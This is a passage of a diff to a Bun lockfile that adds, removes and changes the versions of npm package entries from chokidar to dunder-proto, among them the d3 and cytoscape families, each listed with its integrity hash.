"chokidar": ["chokidar@3.5.3", "", { "dependencies": { "anymatch": "~3.1.2", "braces": "~3.0.2", "glob-parent": "~5.1.2", "is-binary-path": "~2.1.0", "is-glob": "~4.0.1", "normalize-path": "~3.0.0", "readdirp": "~3.6.0" }, "optionalDependencies": { "fsevents": "~2.3.2" } }, "sha512-Dr3sfKRP6oTcjf2JmUmFJfeVMvXBdegxB0iVQ5eb2V10uFJUCAS8OByZdVAyVb8xXNz3GjjTgj9kLWsZTqE6kw=="],
+ "chrome-trace-event": ["chrome-trace-event@1.0.3", "", {}, "sha512-p3KULyQg4S7NIHixdwbGX+nFHkoBiA4YQmyWtjb8XngSKV124nJmRysgAeujbUVb15vh+RvFUfCPqU7rXk+hZg=="],
+
"ci-info": ["ci-info@4.3.1", "", {}, "sha512-Wdy2Igu8OcBpI2pZePZ5oWjPC38tmDVx5WKUXKwlLYkA0ozo85sLsLvkBbBn/sZaSCMFOGZJ14fvW9t5/d7kdA=="],
"cipher-base": ["cipher-base@1.0.6", "", { "dependencies": { "inherits": "^2.0.4", "safe-buffer": "^5.2.1" } }, "sha512-3Ek9H3X6pj5TgenXYtNWdaBon1tgYCaebd+XPg0keyjEbEfkD4KkmAxkQ/i1vYvxdcT5nscLBfq9VJRmCBcFSw=="],
@@ -2587,8 +2419,6 @@
"concat-with-sourcemaps": ["concat-with-sourcemaps@1.1.0", "", { "dependencies": { "source-map": "^0.6.1" } }, "sha512-4gEjHJFT9e+2W/77h/DS5SGUgwDaOwprX8L/gl5+3ixnzkVJJsZWDSelmN3Oilw3LNDZjZV0yqH1hLG3k6nghg=="],
- "confbox": ["confbox@0.1.8", "", {}, "sha512-RMtmw0iFkeR4YV+fUOSucriAQNb9g8zFR52MWCtl+cCZOFRNL6zeB395vPzFhEjjn4fMxXudmELnl/KF/WrK6w=="],
-
"connect-redis": ["connect-redis@8.1.0", "", { "peerDependencies": { "express-session": ">=1" } }, "sha512-Km0EYLDlmExF52UCss5gLGTtrukGC57G6WCC2aqEMft5Vr4xNWuM4tL+T97kWrw+vp40SXFteb6Xk/7MxgpwdA=="],
"console-browserify": ["console-browserify@1.2.0", "", {}, "sha512-ZMkYO/LkF17QvCPqM0gxw8yUzigAOZOSWSHg91FH6orS7vcEj5dVZTidN2fQ14yBSdg97RqhSNwLUXInd52OTA=="],
@@ -2615,13 +2445,13 @@
"copy-to-clipboard": ["copy-to-clipboard@3.3.3", "", { "dependencies": { "toggle-selection": "^1.0.6" } }, "sha512-2KV8NhB5JqC3ky0r9PMCAZKbUHSwtEo4CwCs0KXgruG43gX5PMqDEBbVU4OUzw2MuAWUfsuFmWvEKG5QRfSnJA=="],
- "core-js-compat": ["core-js-compat@3.47.0", "", { "dependencies": { "browserslist": "^4.28.0" } }, "sha512-IGfuznZ/n7Kp9+nypamBhvwdwLsW6KC8IOaURw2doAK5e98AG3acVLdh0woOnEqCfUtS+Vu882JE4k/DAm3ItQ=="],
+ "core-js-compat": ["core-js-compat@3.40.0", "", { "dependencies": { "browserslist": "^4.24.3" } }, "sha512-0XEDpr5y5mijvw8Lbc6E5AkjrHfp7eEoPlu36SWeAbcL8fn1G1ANe8DBlo2XoNN89oVpxWwOjYIPVzR4ZvsKCQ=="],
- "core-util-is": ["core-util-is@1.0.3", "", {}, "sha512-ZQBvi1DcpJ4GDqanjucZ2Hj3wEO5pZDS89BWbkcrvdxksJorwUDDZamX9ldFkp9aw2lmBDLgkObEA4DWNJ9FYQ=="],
+ "core-util-is": ["core-util-is@1.0.2", "", {}, "sha512-3lqz5YjWTYnW6dlDa5TLaTCcShfar1e40rmcJVwCBJC6mWlFuj0eCHIElmG1g5kyuJ/GD+8Wn4FFCcz4gJPfaQ=="],
"cors": ["cors@2.8.5", "", { "dependencies": { "object-assign": "^4", "vary": "^1" } }, "sha512-KIHbLJqu73RGr/hnbrO9uBeixNGuvSQjul/jdFvS/KFSIH1hWVd1ng7zOHx+YrEfInLG7q4n6GHQ9cDtxv/P6g=="],
- "cose-base": ["cose-base@1.0.3", "", { "dependencies": { "layout-base": "^1.0.0" } }, "sha512-s9whTXInMSgAp/NVXVNuVxVKzGH2qck3aQlVHxDCdAEPgtMKwc4Wq6/QKhgdEdgbLSi9rBTAcPoRa6JpiG4ksg=="],
+ "cosmiconfig": ["cosmiconfig@8.3.6", "", { "dependencies": { "import-fresh": "^3.3.0", "js-yaml": "^4.1.0", "parse-json": "^5.2.0", "path-type": "^4.0.0" }, "peerDependencies": { "typescript": ">=4.9.5" } }, "sha512-kcZ6+W5QzcJ3P1Mt+83OUv/oHFqZHIx8DuxG6eZ5RGMERoLqp4BuGjhHLYGK+Kf5XVkQvqBSmAy/nGWN3qDgEA=="],
"create-ecdh": ["create-ecdh@4.0.4", "", { "dependencies": { "bn.js": "^4.1.0", "elliptic": "^6.5.3" } }, "sha512-mf+TCx8wWc9VpuxfP2ht0iSISLZnt0JgWlrOKZiNqyUZWnjIaCIVNQArMHnCZKfEYRg6IM7A+NeJoN8gf/Ws0A=="],
@@ -2643,13 +2473,13 @@
"crypto-random-string": ["crypto-random-string@2.0.0", "", {}, "sha512-v1plID3y9r/lPhviJ1wrXpLeyUIGAZ2SHNYTEapm7/8A9nLPoyvVp3RK/EPFqn5kEznyWgYZNsRtYYIWbuG8KA=="],
- "css-blank-pseudo": ["css-blank-pseudo@8.0.1", "", { "dependencies": { "postcss-selector-parser": "^7.1.1" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-C5B2e5hCM4llrQkUms+KnWEMVW8K1n2XvX9G7ppfMZJQ7KAS/4rNnkP1Cs+HhWriOz1mWWTMFD4j1J7s31Dgug=="],
+ "css-blank-pseudo": ["css-blank-pseudo@5.0.2", "", { "dependencies": { "postcss-selector-parser": "^6.0.10" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-aCU4AZ7uEcVSUzagTlA9pHciz7aWPKA/YzrEkpdSopJ2pvhIxiQ5sYeMz1/KByxlIo4XBdvMNJAVKMg/GRnhfw=="],
"css-declaration-sorter": ["css-declaration-sorter@6.4.1", "", { "peerDependencies": { "postcss": "^8.0.9" } }, "sha512-rtdthzxKuyq6IzqX6jEcIzQF/YqccluefyCYheovBOLhFT/drQA9zj/UbRAa9J7C0o6EG6u3E6g+vKkay7/k3g=="],
- "css-has-pseudo": ["css-has-pseudo@8.0.0", "", { "dependencies": { "@csstools/selector-specificity": "^6.0.0", "postcss-selector-parser": "^7.1.1", "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-Uz/bsHRbOeir/5Oeuz85tq/yLJLxX+3dpoRdjNTshs6jjqwUg8XaEZGDd0ci3fw7l53Srw0EkJ8mYan0eW5uGQ=="],
+ "css-has-pseudo": ["css-has-pseudo@5.0.2", "", { "dependencies": { "@csstools/selector-specificity": "^2.0.1", "postcss-selector-parser": "^6.0.10", "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-q+U+4QdwwB7T9VEW/LyO6CFrLAeLqOykC5mDqJXc7aKZAhDbq7BvGT13VGJe+IwBfdN2o3Xdw2kJ5IxwV1Sc9Q=="],
- "css-prefers-color-scheme": ["css-prefers-color-scheme@11.0.0", "", { "peerDependencies": { "postcss": "^8.4" } }, "sha512-fv0mgtwUhh2m9iio3Kxc2CkrogjIaRdMFaaqyzSFdii17JF4cfPyMNX72B15ZW2Nrr/NZUpxI4dec1VMHYJvdw=="],
+ "css-prefers-color-scheme": ["css-prefers-color-scheme@8.0.2", "", { "peerDependencies": { "postcss": "^8.4" } }, "sha512-OvFghizHJ45x7nsJJUSYLyQNTzsCU8yWjxAc/nhPQg1pbs18LMoET8N3kOweFDPy0JV0OSXN2iqRFhPBHYOeMA=="],
"css-select": ["css-select@5.2.2", "", { "dependencies": { "boolbase": "^1.0.0", "css-what": "^6.1.0", "domhandler": "^5.0.2", "domutils": "^3.0.1", "nth-check": "^2.0.1" } }, "sha512-TizTzUddG/xYLA3NXodFM0fSbNizXjOKhqiQQwvhlspadZokn1KDy0NZFS0wuEubIYAV5/c1/lAr0TaaFXEXzw=="],
@@ -2659,7 +2489,7 @@
"css.escape": ["css.escape@1.5.1", "", {}, "sha512-YUifsXXuknHlUsmlgyY0PKzgPOr7/FjCePfHNt0jxm83wHZi44VDMQ7/fGNkjY3/jV1MC+1CmZbaHzugyeRtpg=="],
- "cssdb": ["cssdb@8.8.0", "", {}, "sha512-QbLeyz2Bgso1iRlh7IpWk6OKa3lLNGXsujVjDMPl9rOZpxKeiG69icLpbLCFxeURwmcdIfZqQyhlooKJYM4f8Q=="],
+ "cssdb": ["cssdb@7.10.0", "", {}, "sha512-yGZ5tmA57gWh/uvdQBHs45wwFY0IBh3ypABk5sEubPBPSzXzkNgsWReqx7gdx6uhC+QoFBe+V8JwBB9/hQ6cIA=="],
"cssesc": ["cssesc@3.0.0", "", { "bin": "bin/cssesc" }, "sha512-/Tb/JcjK111nNScGob5MNtsntNM1aCNUDipB/TkwZFhyDrrE47SOx/18wF2bbjgc3ZzCSKW1T5nt5EbFoAz/Vg=="],
@@ -2673,84 +2503,14 @@
"csso": ["csso@4.2.0", "", { "dependencies": { "css-tree": "^1.1.2" } }, "sha512-wvlcdIbf6pwKEk7vHj8/Bkc0B4ylXZruLvOgs9doS5eOsOpuodOV2zJChSpkp+pRpYQLQMeF04nr3Z68Sta9jA=="],
+ "cssom": ["cssom@0.5.0", "", {}, "sha512-iKuQcq+NdHqlAcwUY0o/HL69XQrUaQdMjmStJ8JFmUaiiQErlhrmuigkg/CU4E2J0IyUKUrMAgl36TvN67MqTw=="],
+
"cssstyle": ["cssstyle@4.6.0", "", { "dependencies": { "@asamuzakjp/css-color": "^3.2.0", "rrweb-cssom": "^0.8.0" } }, "sha512-2z+rWdzbbSZv6/rhtvzvqeZQHrBaqgogqt85sqFNbabZOuFbCVFb8kPeEtZjiKkbrm395irpNKiYeFeLiQnFPg=="],
"csstype": ["csstype@3.1.3", "", {}, "sha512-M1uQkMl8rQK/szD0LNhtqxIPLpimGm8sOBwU7lLnCpSbTyY3yeU1Vc7l4KT5zT4s/yOxHH5O7tIuuLOCnLADRw=="],
- "cytoscape": ["cytoscape@3.33.1", "", {}, "sha512-iJc4TwyANnOGR1OmWhsS9ayRS3s+XQ185FmuHObThD+5AeJCakAAbWv8KimMTt08xCCLNgneQwFp+JRJOr9qGQ=="],
-
- "cytoscape-cose-bilkent": ["cytoscape-cose-bilkent@4.1.0", "", { "dependencies": { "cose-base": "^1.0.0" }, "peerDependencies": { "cytoscape": "^3.2.0" } }, "sha512-wgQlVIUJF13Quxiv5e1gstZ08rnZj2XaLHGoFMYXz7SkNfCDOOteKBE6SYRfA9WxxI/iBc3ajfDoc6hb/MRAHQ=="],
-
- "cytoscape-fcose": ["cytoscape-fcose@2.2.0", "", { "dependencies": { "cose-base": "^2.2.0" }, "peerDependencies": { "cytoscape": "^3.2.0" } }, "sha512-ki1/VuRIHFCzxWNrsshHYPs6L7TvLu3DL+TyIGEsRcvVERmxokbf5Gdk7mFxZnTdiGtnA4cfSmjZJMviqSuZrQ=="],
-
"d": ["d@1.0.2", "", { "dependencies": { "es5-ext": "^0.10.64", "type": "^2.7.2" } }, "sha512-MOqHvMWF9/9MX6nza0KgvFH4HpMU0EF5uUDXqX/BtxtU8NfB0QzRtJ8Oe/6SuS4kbhyzVJwjd97EA4PKrzJ8bw=="],
- "d3": ["d3@7.9.0", "", { "dependencies": { "d3-array": "3", "d3-axis": "3", "d3-brush": "3", "d3-chord": "3", "d3-color": "3", "d3-contour": "4", "d3-delaunay": "6", "d3-dispatch": "3", "d3-drag": "3", "d3-dsv": "3", "d3-ease": "3", "d3-fetch": "3", "d3-force": "3", "d3-format": "3", "d3-geo": "3", "d3-hierarchy": "3", "d3-interpolate": "3", "d3-path": "3", "d3-polygon": "3", "d3-quadtree": "3", "d3-random": "3", "d3-scale": "4", "d3-scale-chromatic": "3", "d3-selection": "3", "d3-shape": "3", "d3-time": "3", "d3-time-format": "4", "d3-timer": "3", "d3-transition": "3", "d3-zoom": "3" } }, "sha512-e1U46jVP+w7Iut8Jt8ri1YsPOvFpg46k+K8TpCb0P+zjCkjkPnV7WzfDJzMHy1LnA+wj5pLT1wjO901gLXeEhA=="],
-
- "d3-array": ["d3-array@3.2.4", "", { "dependencies": { "internmap": "1 - 2" } }, "sha512-tdQAmyA18i4J7wprpYq8ClcxZy3SC31QMeByyCFyRt7BVHdREQZ5lpzoe5mFEYZUWe+oq8HBvk9JjpibyEV4Jg=="],
-
- "d3-axis": ["d3-axis@3.0.0", "", {}, "sha512-IH5tgjV4jE/GhHkRV0HiVYPDtvfjHQlQfJHs0usq7M30XcSBvOotpmH1IgkcXsO/5gEQZD43B//fc7SRT5S+xw=="],
-
- "d3-brush": ["d3-brush@3.0.0", "", { "dependencies": { "d3-dispatch": "1 - 3", "d3-drag": "2 - 3", "d3-interpolate": "1 - 3", "d3-selection": "3", "d3-transition": "3" } }, "sha512-ALnjWlVYkXsVIGlOsuWH1+3udkYFI48Ljihfnh8FZPF2QS9o+PzGLBslO0PjzVoHLZ2KCVgAM8NVkXPJB2aNnQ=="],
-
- "d3-chord": ["d3-chord@3.0.1", "", { "dependencies": { "d3-path": "1 - 3" } }, "sha512-VE5S6TNa+j8msksl7HwjxMHDM2yNK3XCkusIlpX5kwauBfXuyLAtNg9jCp/iHH61tgI4sb6R/EIMWCqEIdjT/g=="],
-
- "d3-color": ["d3-color@3.1.0", "", {}, "sha512-zg/chbXyeBtMQ1LbD/WSoW2DpC3I0mpmPdW+ynRTj/x2DAWYrIY7qeZIHidozwV24m4iavr15lNwIwLxRmOxhA=="],
-
- "d3-contour": ["d3-contour@4.0.2", "", { "dependencies": { "d3-array": "^3.2.0" } }, "sha512-4EzFTRIikzs47RGmdxbeUvLWtGedDUNkTcmzoeyg4sP/dvCexO47AaQL7VKy/gul85TOxw+IBgA8US2xwbToNA=="],
-
- "d3-delaunay": ["d3-delaunay@6.0.4", "", { "dependencies": { "delaunator": "5" } }, "sha512-mdjtIZ1XLAM8bm/hx3WwjfHt6Sggek7qH043O8KEjDXN40xi3vx/6pYSVTwLjEgiXQTbvaouWKynLBiUZ6SK6A=="],
-
- "d3-dispatch": ["d3-dispatch@3.0.1", "", {}, "sha512-rzUyPU/S7rwUflMyLc1ETDeBj0NRuHKKAcvukozwhshr6g6c5d8zh4c2gQjY2bZ0dXeGLWc1PF174P2tVvKhfg=="],
-
- "d3-drag": ["d3-drag@3.0.0", "", { "dependencies": { "d3-dispatch": "1 - 3", "d3-selection": "3" } }, "sha512-pWbUJLdETVA8lQNJecMxoXfH6x+mO2UQo8rSmZ+QqxcbyA3hfeprFgIT//HW2nlHChWeIIMwS2Fq+gEARkhTkg=="],
-
- "d3-dsv": ["d3-dsv@3.0.1", "", { "dependencies": { "commander": "7", "iconv-lite": "0.6", "rw": "1" }, "bin": { "csv2json": "bin/dsv2json.js", "csv2tsv": "bin/dsv2dsv.js", "dsv2dsv": "bin/dsv2dsv.js", "dsv2json": "bin/dsv2json.js", "json2csv": "bin/json2dsv.js", "json2dsv": "bin/json2dsv.js", "json2tsv": "bin/json2dsv.js", "tsv2csv": "bin/dsv2dsv.js", "tsv2json": "bin/dsv2json.js" } }, "sha512-UG6OvdI5afDIFP9w4G0mNq50dSOsXHJaRE8arAS5o9ApWnIElp8GZw1Dun8vP8OyHOZ/QJUKUJwxiiCCnUwm+Q=="],
-
- "d3-ease": ["d3-ease@3.0.1", "", {}, "sha512-wR/XK3D3XcLIZwpbvQwQ5fK+8Ykds1ip7A2Txe0yxncXSdq1L9skcG7blcedkOX+ZcgxGAmLX1FrRGbADwzi0w=="],
-
- "d3-fetch": ["d3-fetch@3.0.1", "", { "dependencies": { "d3-dsv": "1 - 3" } }, "sha512-kpkQIM20n3oLVBKGg6oHrUchHM3xODkTzjMoj7aWQFq5QEM+R6E4WkzT5+tojDY7yjez8KgCBRoj4aEr99Fdqw=="],
-
- "d3-force": ["d3-force@3.0.0", "", { "dependencies": { "d3-dispatch": "1 - 3", "d3-quadtree": "1 - 3", "d3-timer": "1 - 3" } }, "sha512-zxV/SsA+U4yte8051P4ECydjD/S+qeYtnaIyAs9tgHCqfguma/aAQDjo85A9Z6EKhBirHRJHXIgJUlffT4wdLg=="],
-
- "d3-format": ["d3-format@3.1.2", "", {}, "sha512-AJDdYOdnyRDV5b6ArilzCPPwc1ejkHcoyFarqlPqT7zRYjhavcT3uSrqcMvsgh2CgoPbK3RCwyHaVyxYcP2Arg=="],
-
- "d3-geo": ["d3-geo@3.1.1", "", { "dependencies": { "d3-array": "2.5.0 - 3" } }, "sha512-637ln3gXKXOwhalDzinUgY83KzNWZRKbYubaG+fGVuc/dxO64RRljtCTnf5ecMyE1RIdtqpkVcq0IbtU2S8j2Q=="],
-
- "d3-hierarchy": ["d3-hierarchy@3.1.2", "", {}, "sha512-FX/9frcub54beBdugHjDCdikxThEqjnR93Qt7PvQTOHxyiNCAlvMrHhclk3cD5VeAaq9fxmfRp+CnWw9rEMBuA=="],
-
- "d3-interpolate": ["d3-interpolate@3.0.1", "", { "dependencies": { "d3-color": "1 - 3" } }, "sha512-3bYs1rOD33uo8aqJfKP3JWPAibgw8Zm2+L9vBKEHJ2Rg+viTR7o5Mmv5mZcieN+FRYaAOWX5SJATX6k1PWz72g=="],
-
- "d3-path": ["d3-path@3.1.0", "", {}, "sha512-p3KP5HCf/bvjBSSKuXid6Zqijx7wIfNW+J/maPs+iwR35at5JCbLUT0LzF1cnjbCHWhqzQTIN2Jpe8pRebIEFQ=="],
-
- "d3-polygon": ["d3-polygon@3.0.1", "", {}, "sha512-3vbA7vXYwfe1SYhED++fPUQlWSYTTGmFmQiany/gdbiWgU/iEyQzyymwL9SkJjFFuCS4902BSzewVGsHHmHtXg=="],
-
- "d3-quadtree": ["d3-quadtree@3.0.1", "", {}, "sha512-04xDrxQTDTCFwP5H6hRhsRcb9xxv2RzkcsygFzmkSIOJy3PeRJP7sNk3VRIbKXcog561P9oU0/rVH6vDROAgUw=="],
-
- "d3-random": ["d3-random@3.0.1", "", {}, "sha512-FXMe9GfxTxqd5D6jFsQ+DJ8BJS4E/fT5mqqdjovykEB2oFbTMDVdg1MGFxfQW+FBOGoB++k8swBrgwSHT1cUXQ=="],
-
- "d3-sankey": ["d3-sankey@0.12.3", "", { "dependencies": { "d3-array": "1 - 2", "d3-shape": "^1.2.0" } }, "sha512-nQhsBRmM19Ax5xEIPLMY9ZmJ/cDvd1BG3UVvt5h3WRxKg5zGRbvnteTyWAbzeSvlh3tW7ZEmq4VwR5mB3tutmQ=="],
-
- "d3-scale": ["d3-scale@4.0.2", "", { "dependencies": { "d3-array": "2.10.0 - 3", "d3-format": "1 - 3", "d3-interpolate": "1.2.0 - 3", "d3-time": "2.1.1 - 3", "d3-time-format": "2 - 4" } }, "sha512-GZW464g1SH7ag3Y7hXjf8RoUuAFIqklOAq3MRl4OaWabTFJY9PN/E1YklhXLh+OQ3fM9yS2nOkCoS+WLZ6kvxQ=="],
-
- "d3-scale-chromatic": ["d3-scale-chromatic@3.1.0", "", { "dependencies": { "d3-color": "1 - 3", "d3-interpolate": "1 - 3" } }, "sha512-A3s5PWiZ9YCXFye1o246KoscMWqf8BsD9eRiJ3He7C9OBaxKhAd5TFCdEx/7VbKtxxTsu//1mMJFrEt572cEyQ=="],
-
- "d3-selection": ["d3-selection@3.0.0", "", {}, "sha512-fmTRWbNMmsmWq6xJV8D19U/gw/bwrHfNXxrIN+HfZgnzqTHp9jOmKMhsTUjXOJnZOdZY9Q28y4yebKzqDKlxlQ=="],
-
- "d3-shape": ["d3-shape@3.2.0", "", { "dependencies": { "d3-path": "^3.1.0" } }, "sha512-SaLBuwGm3MOViRq2ABk3eLoxwZELpH6zhl3FbAoJ7Vm1gofKx6El1Ib5z23NUEhF9AsGl7y+dzLe5Cw2AArGTA=="],
-
- "d3-time": ["d3-time@3.1.0", "", { "dependencies": { "d3-array": "2 - 3" } }, "sha512-VqKjzBLejbSMT4IgbmVgDjpkYrNWUYJnbCGo874u7MMKIWsILRX+OpX/gTk8MqjpT1A/c6HY2dCA77ZN0lkQ2Q=="],
-
- "d3-time-format": ["d3-time-format@4.1.0", "", { "dependencies": { "d3-time": "1 - 3" } }, "sha512-dJxPBlzC7NugB2PDLwo9Q8JiTR3M3e4/XANkreKSUxF8vvXKqm1Yfq4Q5dl8budlunRVlUUaDUgFt7eA8D6NLg=="],
-
- "d3-timer": ["d3-timer@3.0.1", "", {}, "sha512-ndfJ/JxxMd3nw31uyKoY2naivF+r29V+Lc0svZxe1JvvIRmi8hUsrMvdOwgS1o6uBHmiz91geQ0ylPP0aj1VUA=="],
-
- "d3-transition": ["d3-transition@3.0.1", "", { "dependencies": { "d3-color": "1 - 3", "d3-dispatch": "1 - 3", "d3-ease": "1 - 3", "d3-interpolate": "1 - 3", "d3-timer": "1 - 3" }, "peerDependencies": { "d3-selection": "2 - 3" } }, "sha512-ApKvfjsSR6tg06xrL434C0WydLr7JewBB3V+/39RMHsaXTOG0zmt/OAXeng5M5LBm0ojmxJrpomQVZ1aPvBL4w=="],
-
- "d3-zoom": ["d3-zoom@3.0.0", "", { "dependencies": { "d3-dispatch": "1 - 3", "d3-drag": "2 - 3", "d3-interpolate": "1 - 3", "d3-selection": "2 - 3", "d3-transition": "2 - 3" } }, "sha512-b8AmV3kfQaqWAuacbPuNbL6vahnOJflOhexLzMMNLga62+/nh0JzvJ0aO/5a5MVgUFGS7Hu1P9P03o3fJkDCyw=="],
-
- "dagre-d3-es": ["dagre-d3-es@7.0.14", "", { "dependencies": { "d3": "^7.9.0", "lodash-es": "^4.17.21" } }, "sha512-P4rFMVq9ESWqmOgK+dlXvOtLwYg0i7u0HBGJER0LZDJT2VHIPAMZ/riPxqJceWMStH5+E61QxFra9kIS3AqdMg=="],
-
"damerau-levenshtein": ["damerau-levenshtein@1.0.8", "", {}, "sha512-sdQSFB7+llfUcQHUQO3+B8ERRj0Oa4w9POWMI/puGtuf7gFywGmkaLCElnudfTiKZV+NvHqL0ifzdrI8Ro7ESA=="],
"data-uri-to-buffer": ["data-uri-to-buffer@4.0.1", "", {}, "sha512-0R9ikRb668HB7QDxT1vkpuUBtqc53YyAwMwGeUFKRojY/NWKvdZ+9UYtRfGmhqNbRkTSVpMbmyhXipFFv2cb/A=="],
@@ -2765,9 +2525,9 @@
"date-fns": ["date-fns@3.3.1", "", {}, "sha512-y8e109LYGgoQDveiEBD3DYXKba1jWf5BA8YU1FL5Tvm0BTdEfy54WLCwnuYWZNnzzvALy/QQ4Hov+Q9RVRv+Zw=="],
- "dayjs": ["dayjs@1.11.19", "", {}, "sha512-t5EcLVS6QPBNqM2z8fakk/NKel+Xzshgt8FFKAn+qwlD1pzZWxh0nVCrvFK7ZDb6XucZeF9z8C7CBWTRIVApAw=="],
+ "dayjs": ["dayjs@1.11.13", "", {}, "sha512-oaMBel6gjolK862uaPQOVTA7q3TZhuSvuMQAAglQDOWYO9A91IrAOUJEyKVlqJlHE0vq5p5UXxzdPfMH/x6xNg=="],
- "debug": ["debug@4.4.3", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA=="],
+ "debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
"decamelize": ["decamelize@1.2.0", "", {}, "sha512-z2S+W9X73hAUUki+N+9Za2lBlun89zigOyGrsax+KUQ6wKW4ZoWpEYBkGhQjwAjjDCkWxhY0VKEhk8wzY7F5cA=="],
@@ -2793,8 +2553,6 @@
"define-properties": ["define-properties@1.2.1", "", { "dependencies": { "define-data-property": "^1.0.1", "has-property-descriptors": "^1.0.0", "object-keys": "^1.1.1" } }, "sha512-8QmQKqEASLd5nx0U1B1okLElbUuuttJ/AnYmRXbbbGDWh6uS208EjD4Xqq/I9wK7u0v6O08XhTWnt5XtEbR6Dg=="],
- "delaunator": ["delaunator@5.0.1", "", { "dependencies": { "robust-predicates": "^3.0.2" } }, "sha512-8nvh+XBe96aCESrGOqMp/84b13H9cdKbG5P2ejQCh4d4sK9RL4371qou9drQjMhvnPmhWl5hnmqbEE0fXr9Xnw=="],
-
"delayed-stream": ["delayed-stream@1.0.0", "", {}, "sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ=="],
"denque": ["denque@2.1.0", "", {}, "sha512-HVQE3AAb/pxF8fQAoiqpvg9i3evqug3hoiwakOyZAwJm+6vZehbkYXZ0l4JxS+I3QxM97v5aaRNhj8v5oBhekw=="],
@@ -2819,14 +2577,12 @@
"didyoumean": ["didyoumean@1.2.2", "", {}, "sha512-gxtyfqMg7GKyhQmb056K7M3xszy/myH8w+B4RT+QXBQsvAOdc3XymqDDPHx1BgPgsdAA5SIifona89YtRATDzw=="],
- "diff": ["diff@4.0.2", "", {}, "sha512-58lmxKSA4BNyLz+HHMUzlOEpg09FV+ev6ZMe3vJihgdxzgcwZ8VoEEPmALCZG9LmqfVoNMMKpttIYTVG6uDY7A=="],
+ "diff": ["diff@7.0.0", "", {}, "sha512-PJWHUb1RFevKCwaFA9RlG5tCd+FO5iRh9A8HEtkmBH2Li03iJriB6m6JIN4rGz3K3JLawI7/veA1xzRKP6ISBw=="],
"diff-sequences": ["diff-sequences@29.6.3", "", {}, "sha512-EjePK1srD3P08o2j4f0ExnylqRs5B9tJjcp9t1krH2qRi8CCdsYfwe9JgSLurFBWwq4uOlipzfk5fHNvwFKr8Q=="],
"diffie-hellman": ["diffie-hellman@5.0.3", "", { "dependencies": { "bn.js": "^4.1.0", "miller-rabin": "^4.0.0", "randombytes": "^2.0.0" } }, "sha512-kqag/Nl+f3GwyK25fhUMYj81BUOrZ9IuJsjIcDE5icNM9FJHAVm3VcUDxdLPoQtTuUylWm6ZIknYJwwaPxsUzg=="],
- "dingbat-to-unicode": ["dingbat-to-unicode@1.0.1", "", {}, "sha512-98l0sW87ZT58pU4i61wa2OHwxbiYSbuxsCBozaVnYX2iCnr3bLM3fIes1/ej7h1YdOKuKt/MLs706TVnALA65w=="],
-
"dlv": ["dlv@1.1.3", "", {}, "sha512-+HlytyjlPKnIG8XuRG8WvmBP8xs8P71y+SKKS6ZXWoEgLuePxtDoUEiH7WkdePWrQ5JBpE6aoVqfZfJUQkjXwA=="],
"dnd-core": ["dnd-core@16.0.1", "", { "dependencies": { "@react-dnd/asap": "^5.0.1", "@react-dnd/invariant": "^4.0.1", "redux": "^4.2.0" } }, "sha512-HK294sl7tbw6F6IeuK16YSBUoorvHpY8RHO+9yFfaJyCDVb6n7PRcezrOEOa2SBCqiYpemh5Jx20ZcjKdFAVng=="],
@@ -2843,9 +2599,11 @@
"domelementtype": ["domelementtype@2.3.0", "", {}, "sha512-OLETBj6w0OsagBwdXnPdN0cnMfF9opN69co+7ZrbfPGrdpPVNBUj02spi6B1N7wChLQiPn4CSH/zJvXw56gmHw=="],
+ "domexception": ["domexception@4.0.0", "", { "dependencies": { "webidl-conversions": "^7.0.0" } }, "sha512-A2is4PLG+eeSfoTMA95/s4pvAoSo2mKtiM5jlHkAVewmiO8ISFTFKZjH7UAM1Atli/OT/7JHOrJRJiMKUZKYBw=="],
+
"domhandler": ["domhandler@5.0.3", "", { "dependencies": { "domelementtype": "^2.3.0" } }, "sha512-cgwlv/1iFQiFnU96XXgROh8xTeetsnJiDsTc7TYCLFd9+/WNkIqPTxiM/8pSd8VIrhXGTf1Ny1q1hquVqDJB5w=="],
- "dompurify": ["dompurify@3.3.2", "", { "optionalDependencies": { "@types/trusted-types": "^2.0.7" } }, "sha512-6obghkliLdmKa56xdbLOpUZ43pAR6xFy1uOrxBaIDjT+yaRuuybLjGS9eVBoSR/UPU5fq3OXClEHLJNGvbxKpQ=="],
+ "dompurify": ["dompurify@3.3.0", "", { "optionalDependencies": { "@types/trusted-types": "^2.0.7" } }, "sha512-r+f6MYR1gGN1eJv0TVQbhA7if/U7P87cdPl3HN5rikqaBSBxLiCb/b9O+2eG0cxz0ghyU+mU1QkbsOwERMYlWQ=="],
"domutils": ["domutils@3.2.2", "", { "dependencies": { "dom-serializer": "^2.0.0", "domelementtype": "^2.3.0", "domhandler": "^5.0.3" } }, "sha512-6kZKyUajlDuqlHKVX1w7gyslj9MPIXzIFiz/rGu35uC1wMi+kMhQwGhl4lt9unC9Vb9INnY9Z3/ZA3+FhASLaw=="],
@@ -2853,8 +2611,6 @@
"downloadjs": ["downloadjs@1.4.7", "", {}, "sha512-LN1gO7+u9xjU5oEScGFKvXhYf7Y/empUIIEAGBs1LzUq/rg5duiDrkuH5A2lQGd5jfMOb9X9usDa2oVXwJ0U/Q=="],
- "duck": ["duck@0.1.12", "", { "dependencies": { "underscore": "^1.13.1" } }, "sha512-wkctla1O6VfP89gQ+J/yDesM0S7B7XLXjKGzXxMDVFg7uEn706niAtyYovKbyq1oT9YwDcly721/iUWoc8MVRg=="],
-
"dunder-proto": ["dunder-proto@1.0.1", "", { "dependencies": { "call-bind-apply-helpers": "^1.0.1", "es-errors": "^1.3.0", "gopd": "^1.2.0" } }, "sha512-KIN/nDJBQRcXw0MLVhZE9iQHmG68qAVIBg9CqmUYjmQIhgij9U5MFvrqkUL5FbtyyzZuOeOt0zdeRe4UY7ct+A=="],
